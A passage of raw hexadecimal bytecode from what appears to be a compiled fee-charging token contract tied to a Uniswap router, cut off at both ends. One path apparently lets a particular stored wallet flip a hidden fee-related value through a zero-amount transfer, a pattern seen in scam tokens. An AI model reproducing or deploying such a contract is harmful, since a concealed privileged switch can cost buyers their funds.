3151502179055506001600b5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f6200071162000ab560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620008d1600f54620008c2600e54600d5462000adc60201b90919060201c565b62000adc60201b90919060201c565b60148190555062000906601254620008f760115460105462000adc60201b90919060201c565b62000adc60201b90919060201c565b60158190555060165460065f6200092262000aae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506200096f62000aae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601654604051620009cf919062001120565b60405180910390a362001387565b5f808303620009ef575f905062000a57565b5f8284620009fe9190620010c5565b905082848262000a0f919062001168565b1462000a52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a499062001223565b60405180910390fd5b809150505b92915050565b5f62000aa683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000b3e60201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80828462000aec919062001243565b90508381101562000b34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b2b90620012cb565b60405180910390fd5b8091505092915050565b5f808311829062000b87576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b7e919062001365565b60405180910390fd5b505f838562000b97919062001168565b9050809150509392505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000c2057607f821691505b60208210810362000c365762000c3562000bdb565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000c9a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c5d565b62000ca6868362000c5d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000cf062000cea62000ce48462000cbe565b62000cc7565b62000cbe565b9050919050565b5f819050919050565b62000d0b8362000cd0565b62000d2362000d1a8262000cf7565b84845462000c69565b825550505050565b5f90565b62000d3962000d2b565b62000d4681848462000d00565b505050565b5b8181101562000d6d5762000d615f8262000d2f565b60018101905062000d4c565b5050565b601f82111562000dbc5762000d868162000c3c565b62000d918462000c4e565b8101602085101562000da1578190505b62000db962000db08562000c4e565b83018262000d4b565b50505b505050565b5f82821c905092915050565b5f62000dde5f198460080262000dc1565b1980831691505092915050565b5f62000df8838362000dcd565b9150826002028217905092915050565b62000e138262000ba4565b67ffffffffffffffff81111562000e2f5762000e2e62000bae565b5b62000e3b825462000c08565b62000e4882828562000d71565b5f60209050601f83116001811462000e7e575f841562000e69578287015190505b62000e75858262000deb565b86555062000ee4565b601f19841662000e8e8662000c3c565b5f5b8281101562000eb75784890151825560018201915060208501945060208101905062000e90565b8683101562000ed7578489015162000ed3601f89168262000dcd565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000f765780860481111562000f4e5762000f4d62000eec565b5b600185161562000f5e5780820291505b808102905062000f6e8562000f19565b945062000f2e565b94509492505050565b5f8262000f90576001905062001062565b8162000f9f575f905062001062565b816001811462000fb8576002811462000fc35762000ff9565b600191505062001062565b60ff84111562000fd85762000fd762000eec565b5b8360020a91508482111562000ff25762000ff162000eec565b5b5062001062565b5060208310610133831016604e8410600b8410161715620010335782820a9050838111156200102d576200102c62000eec565b5b62001062565b62001042848484600162000f25565b925090508184048111156200105c576200105b62000eec565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620010818262000cbe565b91506200108e8362001069565b9250620010bd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f7f565b905092915050565b5f620010d18262000cbe565b9150620010de8362000cbe565b9250828202620010ee8162000cbe565b9150828204841483151762001108576200110762000eec565b5b5092915050565b6200111a8162000cbe565b82525050565b5f602082019050620011355f8301846200110f565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620011748262000cbe565b9150620011818362000cbe565b9250826200119457620011936200113b565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6200120b6021836200119f565b91506200121882620011af565b604082019050919050565b5f6020820190508181035f8301526200123c81620011fd565b9050919050565b5f6200124f8262000cbe565b91506200125c8362000cbe565b925082820190508082111562001277576200127662000eec565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f620012b3601b836200119f565b9150620012c0826200127d565b602082019050919050565b5f6020820190508181035f830152620012e481620012a5565b9050919050565b5f5b838110156200130a578082015181840152602081019050620012ed565b5f8484015250505050565b5f601f19601f8301169050919050565b5f620013318262000ba4565b6200133d81856200119f565b93506200134f818560208601620012eb565b6200135a8162001315565b840191505092915050565b5f6020820190508181035f8301526200137f818462001325565b905092915050565b60805160a0516140cd620013b75f395f8181610b110152610c8601525f8181610c5b0152610cb201526140cd5ff3fe608060405260043610610280575f3560e01c8063852614851161014e578063c5d24189116100c0578063dd62ed3e11610079578063dd62ed3e14610993578063f0cd1dac146109cf578063f2fde38b146109f9578063f680f79914610a21578063f7f23a0c14610a4b578063f872858a14610a5557610287565b8063c5d2418914610899578063c8607952146108c3578063c867d60b146108ed578063c9567bf914610929578063da00097d1461093f578063dc44b6a01461096957610287565b806395d89b411161011257806395d89b411461077957806398e944c8146107a3578063a457c2d7146107cd578063a7251ef614610809578063a8b0898214610833578063a9059cbb1461085d57610287565b8063852614851461069557806388790a68146106bf5780638b42507f146106e95780638da5cb5b146107255780639096c74a1461074f57610287565b80633ecad271116101f25780636c0a24eb116101ab5780636c0a24eb146105af57806370a08231146105d9578063715018a614610615578063751039fc1461062b5780637d1db4a51461064157806382eefb431461066b57610287565b80633ecad2711461048f5780634a74bb02146104cb5780634ada218b146104f55780635194f9bf1461051f5780635342acb4146105495780635b6fc1c71461058557610287565b806323555d571161024457806323555d571461036f57806323b872dd1461039957806327c8f835146103d55780632b112e49146103ff578063313ce56714610429578063395093511461045357610287565b806306fdde031461028b5780630930907b146102b5578063095ea7b3146102df5780631694505e1461031b57806318160ddd1461034557610287565b3661028757005b5f80fd5b348015610296575f80fd5b5061029f610a7f565b6040516102ac919061330f565b60405180910390f35b3480156102c0575f80fd5b506102c9610b0f565b6040516102d6919061336e565b60405180910390f35b3480156102ea575f80fd5b50610305600480360381019061030091906133e8565b610b33565b6040516103129190613440565b60405180910390f35b348015610326575f80fd5b5061032f610b50565b60405161033c91906134b4565b60405180910390f35b348015610350575f80fd5b50610359610b75565b60405161036691906134dc565b60405180910390f35b34801561037a575f80fd5b50610383610b7e565b60405161039091906134dc565b60405180910390f35b3480156103a4575f80fd5b506103bf60048036038101906103ba91906134f5565b610b84565b6040516103cc9190613440565b60405180910390f35b3480156103e0575f80fd5b506103e9610c59565b6040516103f6919061336e565b60405180910390f35b34801561040a575f80fd5b50610413610c7d565b60405161042091906134dc565b60405180910390f35b348015610434575f80fd5b5061043d610cfa565b60405161044a9190613560565b60405180910390f35b34801561045e575f80fd5b50610479600480360381019061047491906133e8565b610d0f565b6040516104869190613440565b60405180910390f35b34801561049a575f80fd5b506104b560048036038101906104b09190613579565b610dbd565b6040516104c29190613440565b60405180910390f35b3480156104d6575f80fd5b506104df610dda565b6040516104ec9190613440565b60405180910390f35b348015610500575f80fd5b50610509610ded565b6040516105169190613440565b60405180910390f35b34801561052a575f80fd5b50610533610dff565b60405161054091906134dc565b60405180910390f35b348015610554575f80fd5b5061056f600480360381019061056a9190613579565b610e05565b60405161057c9190613440565b60405180910390f35b348015610590575f80fd5b50610599610e22565b6040516105a691906135c4565b60405180910390f35b3480156105ba575f80fd5b506105c3610e47565b6040516105d091906134dc565b60405180910390f35b3480156105e4575f80fd5b506105ff60048036038101906105fa9190613579565b610e4d565b60405161060c91906134dc565b60405180910390f35b348015610620575f80fd5b50610629610e93565b005b348015610636575f80fd5b5061063f610fe5565b005b34801561064c575f80fd5b5061065561108d565b60405161066291906134dc565b60405180910390f35b348015610676575f80fd5b5061067f611093565b60405161068c91906134dc565b60405180910390f35b3480156106a0575f80fd5b506106a9611099565b6040516106b69190613440565b60405180910390f35b3480156106ca575f80fd5b506106d36110ac565b6040516106e091906134dc565b60405180910390f35b3480156106f4575f80fd5b5061070f600480360381019061070a9190613579565b6110b2565b60405161071c9190613440565b60405180910390f35b348015610730575f80fd5b506107396110cf565b604051610746919061336e565b60405180910390f35b34801561075a575f80fd5b506107636110f6565b60405161077091906135c4565b60405180910390f35b348015610784575f80fd5b5061078d61111c565b60405161079a919061330f565b60405180910390f35b3480156107ae575f80fd5b506107b76111ac565b6040516107c4919061336e565b60405180910390f35b3480156107d8575f80fd5b506107f360048036038101906107ee91906133e8565b6111d1565b6040516108009190613440565b60405180910390f35b348015610814575f80fd5b5061081d611299565b60405161082a91906134dc565b60405180910390f35b34801561083e575f80fd5b5061084761129f565b604051610854919061336e565b60405180910390f35b348015610868575f80fd5b50610883600480360381019061087e91906133e8565b6112c4565b6040516108909190613440565b60405180910390f35b3480156108a4575f80fd5b506108ad6112e2565b6040516108ba91906134dc565b60405180910390f35b3480156108ce575f80fd5b506108d76112e8565b6040516108e491906134dc565b60405180910390f35b3480156108f8575f80fd5b50610913600480360381019061090e9190613579565b6112ee565b6040516109209190613440565b60405180910390f35b348015610934575f80fd5b5061093d61130b565b005b34801561094a575f80fd5b506109536113bb565b6040516109609190613440565b60405180910390f35b348015610974575f80fd5b5061097d6113ce565b60405161098a91906134dc565b60405180910390f35b34801561099e575f80fd5b506109b960048036038101906109b491906135dd565b6113d4565b6040516109c691906134dc565b60405180910390f35b3480156109da575f80fd5b506109e3611456565b6040516109f091906134dc565b60405180910390f35b348015610a04575f80fd5b50610a1f6004803603810190610a1a9190613579565b61145c565b005b348015610a2c575f80fd5b50610a35611619565b604051610a4291906134dc565b60405180910390f35b610a5361161f565b005b348015610a60575f80fd5b50610a69611b92565b604051610a769190613440565b60405180910390f35b606060018054610a8e90613648565b80601f0160208091040260200160405190810160405280929190818152602001828054610aba90613648565b8015610b055780601f10610adc57610100808354040283529160200191610b05565b820191905f5260205f20905b815481529060010190602001808311610ae857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b46610b3f611ba5565b8484611bac565b6001905092915050565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601654905090565b600f5481565b5f610b90848484611d6f565b50610c4e84610b9d611ba5565b610c498560405180606001604052806028815260200161404b6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c00611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125149092919063ffffffff16565b611bac565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610cf5610caa7f0000000000000000000000000000000000000000000000000000000000000000610e4d565b610ce7610cd67f0000000000000000000000000000000000000000000000000000000000000000610e4d565b60165461257690919063ffffffff16565b61257690919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610db3610d1b611ba5565b84610dae8560075f610d2b611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125bf90919063ffffffff16565b611bac565b6001905092915050565b600a602052805f5260405f205f915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b60085f9054906101000a900460ff1681565b60125481565b6009602052805f5260405f205f915054906101000a900460ff1681565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e9b611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e906136c2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fed611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611079576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611070906136c2565b60405180910390fd5b601654601881905550601654601981905550565b60185481565b60155481565b601b60189054906101000a900460ff1681565b60105481565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606002805461112b90613648565b80601f016020809104026020016040519081016040528092919081815260200182805461115790613648565b80156111a25780601f10611179576101008083540402835291602001916111a2565b820191905f5260205f20905b81548152906001019060200180831161118557829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61128f6111dd611ba5565b8461128a856040518060600160405280602581526020016140736025913960075f611206611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125149092919063ffffffff16565b611bac565b6001905092915050565b60175481565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6112d76112d0611ba5565b8484611d6f565b506001905092915050565b600e5481565b60115481565b600b602052805f5260405f205f915054906101000a900460ff1681565b611313611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461139f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611396906136c2565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b601b60169054906101000a900460ff1681565b600d5481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60145481565b611464611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e7906136c2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590613750565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b611627611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa906136c2565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611714573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117389190613782565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561179d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117c19190613782565b6040518363ffffffff1660e01b81526004016117de9291906137ad565b6020604051808303815f875af11580156117fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061181e9190613782565b601b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600a5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611b2630610e4d565b5f8033426040518863ffffffff1660e01b8152600401611b4b9695949392919061380d565b60606040518083038185885af1158015611b67573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611b8c9190613880565b50505050565b601b60179054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613940565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7f906139ce565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d6291906134dc565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd590613a5c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4390613aea565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611eea575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f3e5760085f9054906101000a900460ff16611f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3490613b52565b60405180910390fd5b5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611fd9575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561200657611fff848484611fee888861261c565b611ff85785611ffa565b5f5b61273d565b905061250d565b600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120a45750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120bc5750601b60189054906101000a900460ff165b1561210757601854821115612106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fd90613be0565b60405180910390fd5b5b5f61211130610e4d565b90505f60175482101590508080156121365750601b60149054906101000a900460ff16155b80156121895750600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121a15750601b60159054906101000a900460ff165b156121cb57601b60169054906101000a900460ff16156121c15760175491505b6121ca82612919565b5b612252846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125149092919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061232f575060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6123435761233e878787612be1565b612345565b845b9050601b60179054906101000a900460ff1680156123aa5750600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561240f576019546123cd826123bf89610e4d565b6125bf90919063ffffffff16565b111561240e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240590613c6e565b60405180910390fd5b5b61245f8160065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125bf90919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124fd91906134dc565b60405180910390a3600193505050505b9392505050565b5f83831115829061255b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612552919061330f565b60405180910390fd5b505f83856125699190613cb9565b9050809150509392505050565b5f6125b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612514565b905092915050565b5f8082846125cd9190613cec565b905083811015612612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260990613d69565b60405180910390fd5b8091505092915050565b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156126c5575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156126fd57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561273557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f6127c5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125149092919063ffffffff16565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128568360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125bf90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f82036128a8576103e86013819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161290591906134dc565b60405180910390a360019050949350505050565b6001601b60146101000a81548160ff0219169083151502179055505f61294c6015546014546125bf90919063ffffffff16565b90505f612966601054600d546125bf90919063ffffffff16565b90505f612980601154600e546125bf90919063ffffffff16565b90505f6129bb60026129ad8661299f878a612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f6129d1828761257690919063ffffffff16565b90505f4790506129e082612ebb565b5f6129f4824761257690919063ffffffff16565b90505f612a1d612a0e600289612e7290919063ffffffff16565b8961257690919063ffffffff16565b90505f612a586002612a4a84612a3c8c88612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f612a9483612a86612a776013548c612dfb90919063ffffffff16565b87612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505f612abc82612aae858861257690919063ffffffff16565b61257690919063ffffffff16565b90505f821115612b2d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015612b2b573d5f803e3d5ffd5b505b5f811115612b9b5760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612b99573d5f803e3d5ffd5b505b5f83118015612ba957505f88115b15612bb957612bb8888461312a565b5b50505050505050505050505f601b60146101000a81548160ff02191690831515021790555050565b5f805f9050600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612c6457612c5d6064612c4f60145486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b9050612cdf565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612cde57612cdb6064612ccd60155486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505b5b5f811115612dde57612d378160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125bf90919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dd591906134dc565b60405180910390a35b612df1818461257690919063ffffffff16565b9150509392505050565b5f808303612e0b575f9050612e6c565b5f8284612e189190613d87565b9050828482612e279190613df5565b14612e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5e90613e95565b60405180910390fd5b809150505b92915050565b5f612eb383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613224565b905092915050565b5f600267ffffffffffffffff811115612ed757612ed6613eb3565b5b604051908082528060200260200182016040528015612f055781602001602082028036833780820191505090505b50905030815f81518110612f1c57612f1b613ee0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612fe49190613782565b81600181518110612ff857612ff7613ee0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061305e30601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bac565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016130c0959493929190613fc4565b5f604051808303815f8780